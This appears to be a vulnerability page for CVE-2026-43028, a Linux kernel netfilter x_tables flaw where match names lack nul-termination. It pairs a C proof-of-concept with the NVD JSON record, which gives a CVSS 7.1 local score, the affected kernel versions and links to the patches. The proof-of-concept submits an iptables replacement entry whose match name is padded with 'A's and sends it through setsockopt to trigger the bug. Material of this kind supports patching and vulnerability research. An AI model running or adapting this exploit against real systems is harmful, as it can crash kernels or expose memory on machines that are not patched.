CVE-2026-43028

/* * PoC for CVE-2026-43028: Linux kernel x_tables missing nul-termination * This code attempts to trigger the vulnerability by sending a specially crafted * iptables replacement entry where the match name is not null-terminated. * Compile: gcc -o poc_exploit poc_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <linux/netfilter_ipv4/ip_tables.h> #include <sys/socket.h> #include <linux/netlink.h> #define XT_EXTENSION_MAXNAMELEN 29 int main() { int sockfd; struct ipt_replace *repl; struct ipt_entry *entry; struct ipt_entry_match *match; size_t size; sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } // Allocate memory for the replacement structure size = sizeof(struct ipt_replace) + sizeof(struct ipt_entry) + sizeof(struct ipt_entry_match); repl = calloc(1, size); if (!repl) { perror("calloc"); close(sockfd); return 1; } // Setup basic replacement info strcpy(repl->name, "filter"); repl->valid_hooks = 0; repl->num_entries = 1; repl->size = size - sizeof(struct ipt_replace); repl->num_counters = 0; repl->counters = NULL; entry = (struct ipt_entry *)(repl->entries); entry->target_offset = sizeof(struct ipt_entry) + sizeof(struct ipt_entry_match); entry->next_offset = sizeof(struct ipt_entry) + sizeof(struct ipt_entry_match); match = (struct ipt_entry_match *)(entry->elems); // Fill the name with 'A's to remove the null terminator memset(match->u.user.name, 'A', XT_EXTENSION_MAXNAMELEN); match->u.user.match_size = sizeof(struct ipt_entry_match); // Attempt to set thesockopt to trigger the bug if (setsockopt(sockfd, IPPROTO_IP, IPT_SO_SET_REPLACE, repl, size) != 0) { perror("setsockopt"); printf("Failed to trigger vulnerability (might be patched or require perms).\n"); } else { printf("Payload sent successfully.\n"); } free(repl); close(sockfd); return 0; }

{"cve": {"id": "CVE-2026-43028", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:47.297", "lastModified": "2026-05-08T18:30:53.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: x_tables: ensure names are nul-terminated\n\nReject names that lack a \\0 character before feeding them\nto functions that expect c-strings.\n\nFixes tag is the most recent commit that needs this change."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5", "versionEndExcluding": "5.10.253", "matchCriteriaId": "5817BDB6-4C64-4AB6-83FF-CC693A5E4906"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/673bbd36cba21d10a10f0932f479df7468e26fbb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/73124608172890306b85f2206d8b3cac20e324f1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a958a4f90ddd7de0800b33ca9d7b886b7d40f74e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/aa6cd4a8863391e0a64f62d8922cb0af732a2cf2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bcac50ea0a29d430eedc5ac87b215393b567baa9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c2d4a3abb15ca14716c6d8b9ffcbcd7c63626af4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ea01c1b219f5a11c66918abaa6f052e5a74041d6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f419bdc205894750f4d3ec042bc87a1b9cde1351", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}